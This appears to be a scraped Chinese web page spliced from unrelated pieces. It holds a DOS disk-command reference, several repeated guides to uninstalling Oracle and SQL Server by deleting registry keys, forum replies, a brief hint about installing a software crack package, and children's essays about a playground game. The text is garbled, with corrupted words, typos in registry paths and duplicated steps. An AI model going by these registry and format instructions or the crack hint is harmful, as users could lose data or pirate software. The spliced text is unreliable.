（3）选用[/S]参数，将把DOS系统文件IO.SYS、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； （4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； （5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out willbe sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 相关教程：http://www.softhouse.com.cn/html/200501/2005012608080500004109.html

format fdisk dir cd deltree del md

　　 开始－＞运行 输入SERVICES MSC到服务里 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SOFARE＼ORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Eventlog＼Application 删除所有Oracle入口 　　 我的电脑－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除＼Program Files＼Oracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C ＼Oracle 删除这个入口目录及所有子目录 并从目录（一般为C ＼WINNT）下删除以下文件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 lishixinzhi/Article/program/Oracle/201311/17527

　　oracle服务项中有不用的服务 应该如何处理呢？下面就为您介绍删除oracle服务项中不用的服务的实现方法 希望对您学习oracle服务项方面能有所帮助 　　管理－－＞oracle服务项里面删不掉的服务可以直接进注册表删除 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 　　中找到要删除的删除后重启即可 　　 将不用的服务先禁用 　　 在 运行 中输入 regedit 打开注册表 找到 KEY_LOCAL_MACHINE 下的 SYSTEM 下的 ControlSet ″下的 Services 然后在该目录下找到你要删除的项将其删除即可 　　以上的这些目录是我自己系统中的具体目录 其实只要通过 编辑 下的 查找 找到你所要删除的项 然后确定该项目是在Services目录下并将其删除即可 　　此时 服务项中仍会有该服务 但已发生改变 只要重启下计算机就可将其从服务中彻底删除 　　彻底删除oracle 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 　　卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 　　删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 　　删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入 　　口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文 　　件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　到现在为止 你还是可以发现在服务里面还有oracle的服务存在 必须把他删除 否则你再安装oracle时就会出现什么服务已经存在的错误提示了 而这些服务是在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下以LEGACY_ORACLE打头的 而且你选种按delete删除时系统会提示你一个错误 不让你删除 现提供具体删除方法 win 的如下 　　运行regedt 注意了 不是regedit 在HKEY_LOCAL_MACHINE那页找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot先选中ROOT然后点菜单上的安全 权限把自己添加到里面 并且权限设置为完全控制 确定后再删除ROOT下所有LEGACY_ORACLE打头的键 同样的方法也可以把HKEY_LOCAL_MACHINESYSTEMControlSet 和HKEY_LOCAL_MACHINESYSTEMControlSet 两个下面EnumRoot下所有LEGACY_ORACLE打头的键删除 重新启动计算机可以发现 服务里面的那些都没有了 　　在winXP中就比较简单了 还是运行regedit 找到LEGACY_ORACLE打头的键后右击 选择权限 同样将everyone设置为完全控制就可以删除了 删除后重新启动一下就可以了 lishixinzhi/Article/program/Oracle/201311/18461

作死啊，删除这个干嘛，你直接在c盘搜索这个程序看有没有吧

注册表是不能删除的，换个系统试下吧

oracle10g卸载x0dx0a软件环境：x0dx0ax0dx0a1、WindowsXP+Oracle10gx0dx0ax0dx0a2、Oracle安装路径为：d:Oraclex0dx0ax0dx0a实现方法：x0dx0ax0dx0a1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；x0dx0ax0dx0a2、开始－＞程序－＞Oracle_OraDb10g_home1＞OracleInstallationProducts－＞UniversalInstaller卸装所有Oracle产品，但UniversalInstaller本身不能被删除；x0dx0ax0dx0a3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；x0dx0ax0dx0a4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；x0dx0ax0dx0a5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；x0dx0ax0dx0a6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；x0dx0ax0dx0a7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；x0dx0ax0dx0a8、删除c:ProgramFilesOracle目录；x0dx0ax0dx0a9、重新启动计算机，重起后才能完全删除Oracle所在目录；x0dx0ax0dx0a10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从WindowsXP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等；x0dx0ax0dx0a11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；x0dx0ax0dx0a12、如有必要，删除所有Oracle相关的ODBC的DSN；x0dx0ax0dx0a13、到事件查看器中，删除Oracle相关的日志说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

..完全可以而且是垃圾文件

由于一些其他问题，Windows系统重装，导致python打包失败。查看原因，是因为pyinstaller不支持多个python版本。简单粗暴解决办法，删除多余的版本。删除方法一，使用安装包删除 删除方法二：删除安装文件，删除环境变量 but，dos上还是可以访问python3.8，这是什么情况？？？ 在dos上输入where python 找到路径，并删除，ok

CD C:Progra~1

Oracle数据库卸载步骤：1、关闭oracle所有的服务。可以在windows的服务管理器中关闭；2、打开注册表：regedit 打开路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！3、打开注册表，找到路径：HKEY_LOCAL_MACHINESOFTWAREORACLE 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。4、删除注册的oracle事件日志，打开注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除注册表的以oracle开头的所有项目。5、删除环境变量path中关于oracle的内容。 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。6、重新启动操作系统。以上1~5个步骤操作完毕后，重新启动操作系统。7、重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）8、删除C:Program Files下oracle目录。 （该目录视Oracle安装所在路径而定）9、删除开始菜单下oracle项，如： C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10g 不同的安装这个目录稍有不同。 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。Windows平台下Oracle就彻底卸载了

　SQLServer正常情况下可以通过添加删除将其卸载，但有时可能会出现一些不可遇见的原因，　　导致其不能自动卸载，就需要手工卸载，在手工卸载前要注意做好数据的备份工作，以便于　　以后做还原，卸载SQLServer包括两个方面：　　第一，程序文件和数据文件的卸载。如果SQLServer是默认安装，程序文件和数据文件在同一　　路径下，如下：　　　　　　　找到后将整个MicrosoftSQLServer文件夹全部删除掉。　　　若不是在同一路径下，程序文件路径如下：　　　　　　将整个MicrosoftSQLServer文件夹删除掉，再找到相对应的数据文件夹MSSQL进行删除。　　第二，注册表信息的删除。　　【开始】->【运行】->输入regedit，点开HKEY_LOCAL_MACHINE->software->microsoft，　　找到microsoftSQLServer和MSSQLServer，如下：　　　　　　右击这两个文件选择删除，关闭注册表，然后重新启动电脑就可以了。如何彻底删除Oracle？软件环境：　　1、Windows2000+ORACLE8.1.7　　2、ORACLE安装路径为：C:ORACLE　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务　　停止所有Oracle服务。　　2、开始－＞程序－＞Oracle-OraHome81－＞OracleInstallationProducts－＞　　UniversalInstaller　　卸装所有Oracle产品，但UniversalInstaller本身不能被删除　　5、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口。　　6、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动　　这个列表，删除所有Oracle入口。　　7、运行refedit，　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，　　删除所有Oracle入口。　　8、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量　　删除环境变量CLASSPATH和PATH中有关Oracle的设定　　9、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标　　10、删除ProgramFilesOracle目录　　11、重新启动计算机，重起后才能完全删除Oracle所在目录　　12、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入　　口目录及所有子目录，并从Windows2000目录（一般为C:WINNT）下删除以下文　　件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。　　13、WIN.INI文件中若有[ORACLE]的标记段，删除该段　　14、如有必要，删除所有Oracle相关的ODBC的DSN　　15、到事件查看器中，删除Oracle相关的日志　　说明：　　如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，　　安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了

重新export 下嘛

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品， 但Universal Installer本身不能被删除 3、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SOFTWAREORACLE，按del键删除这个入口。 4、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services，滚动 这个列表，删除所有Oracle入口。 5、运行refedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services－＞Eventlog－＞Application，删除所有Oracle入口。 6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 8、删除Program FilesOracle目录 9、重新启动计算机，重起后才能完全删除Oracle所在目录 10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C：Oracle，删除这个入口目录及所有子目录，并从Windows 2000目录（一般为C：WINNT）下删除以下文 件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 11、WIN.INI文件中若有[ORACLE]的标记段，删除该段 12、如有必要，删除所有Oracle相关的ODBC的DSN 13、到事件查看器中，删除Oracle相关的日志

见附件就是卸载方案，我经常用这个的。

试试进安全模式可以操作吗如果安全模式也不行的话再试试这个办法：通过重置系统的方法来恢复点击开始选择设置--系统设置--找到更新和安全--选择恢复，点击重置此电脑下方的--开始但是在重置时要注意选择保存文件和设置如果这个办法也不行就重新安装操作系统吧！！！

360安全卫士试试？

1.停止所有与ORACLE相关的服务。 2. 使用OUI（Oracle Universal Installer）卸载Oracle软件。 “开始” －＞“程序” －＞“Oracle-OraDb110g_home1|Oracle installation product|Universal installer. 3.删除注册表内容。 运行regedit命令，删除下面内容：a.HKEY_CLASSES_ROOT，删除此键下所有以Ora，Oracle，Orcl，EnumOra 为前缀的键;b. LOCAL_MACHINESYSTEMCurrentControlSetServices，删除以Oracle或OraWeb为前缀的键; c.HKEY_LOCAL_MACHINESOFTWAREORACLE注册表键，删除此键; d.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，删除Services键下所有以oracle为首的键;e.HKEY_LOCAL_MACHINE SYSTEM ControlSet001services所有oracle的服务，按del键删除掉;f.HKEY_LOCAL_MACHINE SYSTEM ControlSet002services所有oracle的服务，按del键删除掉;g.HKEY_LOCAL_MACHINE SYSTEM ControlSet003services所有oracle的服务，按del键删除掉;h.HKEY_LOCAL_MACHINE SYSTEM ControlSetservices所有oracle的服务，按del键删除掉;i.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication， 删除此键下所有以oracle为首的键; j.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMenuOrderStart MenuPrograms， 删除此键下所有以oracle为首的键;k.HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INI注册表键，删除了Microsoft ODBC FOR ORACLE注册表键以外的所有有Oracle字样的键值。 4. 删除环境变量。 删除环境变量CLASSPATH和PATH中含有Oracle字样的值。 “我的电脑” －＞“属性” －＞“高级” －＞“环境变量” 。5.在文件系统内删除ORACLE相关的文件及目录：a.删除系统盘符：在C盘的Progrm Files下删除Oracle有关的目录；在C盘的根目录下删除ORACLE有关的目录。b.删除C盘下有个WINNT文件夹，里面有ORACLEM73.INI,ORACLE 80.INI等文件夹；d．找到WIN.INI文件夹，删除ORACLE有关的文件；c. 删除你所安装下的目录；6.到“管理工具”里，在“事件查看器”里删除有关ORACLE的文件。7.重启电脑就可以，之前删除不了的文件就可以删除掉了。不过有些文件是没有。找不到就不用删了。

打开方式不正确 从我的电脑右键 属性 高级系统设置 高级 环境变量 这个路线进入 就可以删除了

看见就删掉，没看见就别理它

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=truewindows 网站里的解释所有DOS命令。还有些其它的不是是英文就是了。

删除环境变量中与ansys相关的东西。当我们在手机软件市场上搜索软件，根据页面上的提示，一步步安装好程序后，同时需要把破解包复制到相关的安装目录。当我们把程序和破解包都安装好，在手机页面点击对应的APP的图标，然后在许可证服务器安装路径中根据文件会生成符合自己机器的标识，就可以加载虚拟光驱。

　　老鹰捉小鸡这个游戏真好玩，我们个个都玩的很开心，这就是我和小伙伴们玩的老鹰捉小鸡的游戏。下面是我为大家整理的老鹰捉小鸡游戏小学作文200字10篇，以供大家参考借鉴! 　　老鹰捉小鸡游戏范文一 　　游戏开始了，我们班的一个男同学当"老鹰"，一个女同学当"母鸡"，其余的同学当"小鸡"。 　　老鹰瞪着眼，两只"爪子"在不停地乱抓，嘴里还不时地发出可怕地怪叫声。好像那"爪子"会随时地伸长，抓住"小鸡"吃掉。 　　"母鸡"张开两只"翅膀"，拼命左挡右挡，恐怕自己的"孩子"被"老鹰"抓走。 　　"小鸡"们躲在"母鸡"的身后，它们的脸上一个个都是惊恐万分的表情。 　　后来，上课铃响了，游戏不得不宣布结束了。但是，我们玩的太开心了! 　　老鹰捉小鸡游戏范文二 　　星期六的下午，我和我的几个好朋友在玩“老鹰捉小鸡”的游戏。 　　我们先决定一个小朋友来当“老鹰”，另一个小朋友当“鸡妈妈”，我和其他的小伙伴当“鸡宝宝”。游戏开始了，只见“老鹰”两眼眨也不眨地盯着“鸡宝宝”，“鸡妈妈”也认真地注视着“老鹰”的一举一动。突然，“老鹰”发动了第一次的进攻，它朝最后的一只“小鸡”猛扑过去，幸亏“鸡妈妈”及时地拦住它，不然，这只“小鸡”就会变成“老鹰”的盘中餐了。“老鹰”见一计不成又生一计，它趁“鸡妈妈”不注意，来了个突然袭击，“鸡妈妈”猝不及防，让“老鹰”把我这只“小鸡”叨了去。 　　该我当“老鹰”了，我想：张萌是个小个子，先逮住他再说。我朝张萌扑过去，可没想到“鸡妈妈”那么机警、灵活，有力地挡住了我的进攻。后来， 在我一次次的进攻下，我终于捉住了一只“小鸡”。 　　游戏在我们的欢笑声中结束了，我想：干任何事都不能靠勇敢，还要有智慧，要善于动脑。 　　老鹰捉小鸡游戏范文三 　　一个阳光明媚的下午，爸爸妈妈带着我和几个小伙伴，来到了东吴公园春游。 我们放下背包，选爸爸当凶猛的老鹰，妈妈当温柔的鸡妈妈，玩起了“老鹰捉小鸡”这个游戏。 　　“老鹰”瞪着杀气腾腾的眼睛，朝我们这群小鸡扑过来，“母鸡”死死地盯着“老鹰”，张开双翅保护我们，我们这群小鸡叽叽喳喳地跟在“母鸡”后面，生怕被“老鹰”捉去，“老鹰”一看捉不到我们，好像有点泄气，一动不动地站在那里，鸡妈妈赶紧提醒我们“宝贝们，不能放松警惕，千万别上了狡猾“老鹰”的当!”果然，“老鹰”突然飞速地朝我们扑过来，把一只不听鸡妈妈话的“小鸡”捉走了。我们有了这个教训之后，我们再也不敢掉以轻心了，时刻提防着狡猾的“老鹰”。 　　最后，“老鹰”无机可乘，灰溜溜地逃走了，我们高兴地跳了起来。 　　老鹰捉小鸡游戏范文四 　　星期六上午，在金笔作文课堂上，老师带领大家玩了一个游戏，游戏的名字叫做老鹰捉小鸡。 　　刚开始“老鹰”在家里睡大觉。结果被一阵笑声吵醒了。它气冲冲的走出家门。心想：竟然打扰我睡觉，我一定吃了它们。 　　“老鹰”看见，“鸡妈妈”领着一群“小鸡”正在草地上玩耍，想到：以前，你们都侥幸跑了。这一次我不会让你再跑了。 　　“老鹰”向着“鸡群”飞了过去，“鸡妈妈”见“老鹰”恶狠狠的飞过来了，赶紧大喊道：“孩子们，快躲到我的后面去!”“鸡宝宝”马上跑了过去，“鸡妈妈”张开翅膀。对“小鸡”们说：“有我在，他就不敢动你们一根毫毛。” 　　“老鹰”飞了过去，“鸡妈妈”不慌不忙的挡在前面保护住“小鸡”。“老鹰”往左，“鸡妈妈”也往左，“老鹰”往右，“鸡妈妈”也往右。这样周旋了一会儿，大家都热得满头大汗，气喘吁吁的。趁这个机会，“老鹰”再一次扑过去，“鸡妈妈”还没来得及有反应，“老鹰”就抓走了一只又胖又大的“小鸡”。“老鹰”趁胜追击。取得了胜利。 　　这游戏真有趣，我们还没玩够呢，老师就说游戏结束了。好想再玩一次啊! 　　老鹰捉小鸡游戏范文五 　　你们知道吗?我喜欢的游戏可多了，老鹰捉小鸡是我喜欢的其中之一。 　　记得有一次上体育话里有话，游老师叫我们分组活动，和我相处得非常好的朋友都来找我玩。可是，玩什么好呢? 　　我绞尽脑汁地想，叮咚，主意出来了。我对大家说：“我们来玩老鹰捉小鸡吧!”大家拍手赞成。 　　首先，我来当鸡妈妈，李沂峥当老鹰。游戏开始了，李沂峥就像一只疯狂的老鹰向我的孩子们扑来，她们都害怕极了。我不想让孩子们受到伤害，就与老鹰展开激烈的博斗，老鹰也不罢休，想：“这么鲜的鸡肉，怎么能让它跑掉呢?” 　　正在我们玩得兴起的时候，下课铃响了。我们高高兴兴地跑回教室，我想：“下次如果有时间，我们还要玩老鹰捉小鸡的游戏。” 　　老鹰捉小鸡游戏范文六 　　星期六，我和乐乐、王涛、悦悦等一起去公园里玩。 　　正当我们考虑玩什么游戏，王涛说：“我们玩老鹰捉小鸡吧!”大家说：“好啊好啊。” 　　游戏规则很简单，一个人当老鹰站在前面捉小鸡，另外几个躲着老鹰袭击。游戏开始了，我们先用黑白配分出老鹰、小鸡、母鸡。我当老鹰，王涛当母鸡，乐乐当小鸡。我一会儿左一会儿右，后面的小鸡也跟着“母鸡”一会儿左一会儿右。我一个猛扑但是扑了一个空，这引起了后面小鸡们的哈哈大笑，我十分生气大叫：“叫你们美!”我一个箭步冲了上去，然后来个猛扑，哈哈!乐乐小鸡已经被我吃掉了，一会我吃掉了全部小鸡，我得意洋洋的唱起了小曲。第二局，我来当小鸡，乐乐当老鹰。狡猾的乐乐使出伪装术假装若无其事，趁我不注意，向我猛一扑，我一下就被抓到了。没办法我只好又当老鹰了。 　　太阳落山了，我们恋恋不舍的回家了。 　　老鹰捉小鸡游戏范文七 　　今天午间休息的时候，何老师说：“大家下楼玩老鹰捉小鸡的游戏去。” 　　同学们听了高兴得一蹦三尺高。游戏开始了，大家都想当“老鹰”，就在我们吵得不可开交的时候，朱晨凯想到了一个好办法，石头剪刀布来决定，大伙都没意见了。结果，朱晨凯当了“老鹰”，邱炜悦当了“母鸡”。 　　游戏开始了，“老鹰”张开锋利的爪子飞快地向鸡群冲去，灵活的“小鸡”一闪，害得“老鹰”扑了个空，"老鹰"又东扑一下，西扑一下，不但没有抓住一只“小鸡”，还累得直喘气。就在“母鸡”休息的一瞬间，“老鹰”恶狠狠地向“小鸡”扑去，一只“小鸡”躲闪不及，被抓住了!"老鹰"并不知足，继续努力抓更多的“小鸡”当午餐。不知不觉下课铃响了，同学们依依不舍地离开了操场! 　　多么有趣的游戏，多么快乐的时光啊! 　　老鹰捉小鸡游戏范文八 　　我的课余生活非常丰富。我和同学们喜欢玩捉迷藏等游戏。在各种游戏中，我最喜欢老鹰捉小鸡了。 　　有一次下课，大家提议玩老鹰捉小鸡的游戏。我很激动，因为我已经好久没有玩了呢!游戏的过程真是充满了欢乐和惊喜。我们先选出一只母鸡和一只老鹰，选剩下的人当小鸡。游戏开始了，老鹰凶猛地朝小鸡飞去，母鸡像妈妈一样张开翅膀保护小鸡。老鹰左扑扑，右扑扑，小鸡们在母鸡的保护下东躲西藏。老鹰怎么也捉不到小鸡。这时候老鹰停下来思考了一会儿，他想了一个办法。他趁母鸡不注意的时候从它的翅膀下钻过去，捉到了一只小鸡。老鹰终于可以美餐一顿了。 　　老鹰捉小鸡太好玩了。 　　老鹰捉小鸡游戏范文九 　　星期一上体育课，老师带我们到操场上玩。有六个同学玩老鹰捉小鸡的游戏。我当“老鹰”，小红当“母鸡”，跟在小红后面的同学当“小鸡”。游戏开始了，操场上传来了欢笑声，“老鹰”猛扑过去，“母鸡”张开双臂挡住了“老鹰”的攻击，“小鸡们”紧紧地跟在“母鸡”的后面，吓得心慌失措，尖叫起来。这次攻击没有成攻，“老鹰”想到了一个妙计，他做了一个假动作，假装往左，猛地往右攻击，“母鸡”来不及回防，“老鹰”捉住了三只小鸡。“老鹰”继续用这种办法，一次又一次地捉住了另外三只“小鸡”。游戏结束了，这真是一场多么刺激、多么有趣的游戏啊! 　　老鹰捉小鸡游戏范文十

造句指懂得并使用字词，按照一定的句法规则造出字词通顺、意思完整、符合逻辑的句子。依据现代语文学科特征，可延伸为写段、作文的基础，是学生写好作文的基本功。造句来源清俞樾《春在堂随笔》卷八：“其用意，其造句，均以纤巧胜。”夏_尊叶圣陶《文心雕龙》四：“造句也共同斟酌，由乐华用铅笔记录下来。”下面为您提供关于【什么是什么是什么怎么造句动物】内容，供您参考。1、大地震发生前夕，某些动物往往有异常的反应。2、动物试验证实了这种新药的抗癌作用。3、热带雨林中有很多稀奇古怪的动物。4、茂密的热带雨林里栖息着各种动物。5、国家严禁猎捕杀害珍稀野生动物，违者将受到法律制裁。6、小王哀求妈妈带她去动物园玩。7、马戏团的驯兽员能让动物听从人的指挥。8、美洲的热带雨林里，有很多稀奇的动物。9、有些动物对天气的变化非常敏感。10、爸爸早就答应带我去动物园，可是工作太忙，一直不得脱身。11、某些小动物的异常活动，往往是地震的征兆。12、王大伯过去是捕猎的能手，现在是野生动物保护的标兵。13、清晨，动物园里安安静静的，动物们还在梦乡中。14、动物园里的各种动物，最有趣的要数猴子了。15、地震发生前夕，某些动物往往会有异常的反应。16、人和动物的重要区别就在于人能够制造和使用劳动工具。17、动物园里，最引人注目的是那只高大的长颈鹿。18、李叔叔是动物园的管理员，整天跟狮子老虎打交道。19、秋天，动物们贮存了足够的过冬食物。20、在动物界，猴子是比较聪明的，但是还比不上大象、海豚聪明。句子是语言运用的基本单位，它由词或词组构成，能表达一个完整的意思，如告诉别人一件事，提出一个问题，表示要求或制止，表示某种感慨。它的句尾应该用上句号、问号或感叹号。造句的方法一般有以下几种：1、在分析并理解词义的基础上加以说明。如用“瞻仰”造句，可以这样造：“我站在广场上瞻仰革命烈士纪念碑。”因为“瞻仰”是怀着敬意抬头向上看。2、用形容词造句，可以对人物的动作、神态或事物的形状进行具体的描写。如用“鸦雀无声”造句：“教室里鸦雀无声，再也没有人说笑嬉闹，再也没有人随意走动，甚至连大气都不敢出了。”这就把“鸦雀无声”写具体了。3、有的形容词造句可以用一对反义词或用褒义词贬义词的组合来进行，强烈的对比能起到较好的表达作用。如用“光荣”造句：“讲卫生是光荣的，不讲卫生是可耻的。”用“光荣”与“可耻”作对比，强调了讲卫生是一种美德。4、用比拟词造句，可以借助联想、想象使句子生动。如用“仿佛”造句：“今天冷极了，风刮在脸上仿佛刀割一样。”5、用关联词造句，必须注意词语的合理搭配。比如用“尽管??可是??”造句：“尽管今天天气很糟，但是大家都没有迟到。”这就需要在平时学习中，把关联词的几种类型分清并记住。6、先把要造句的词扩展成词组，然后再把句子补充完整。如用“增添”造句，可以先把“增添”组成“增添设备”、“增添信心”或“增添力量”，然后再造句就方便多了。随着信息新媒体的发展，网络已经成为继报纸、收音机、电视之后的主流媒体，并有将其整合的趋势。网民数量的激增使得网络话题的热议和网络语言迅速成为流行语。出现了很多新现象：网络造句——当某一新闻事件在网络迅速流传之后，新闻事件中的某一具有代表性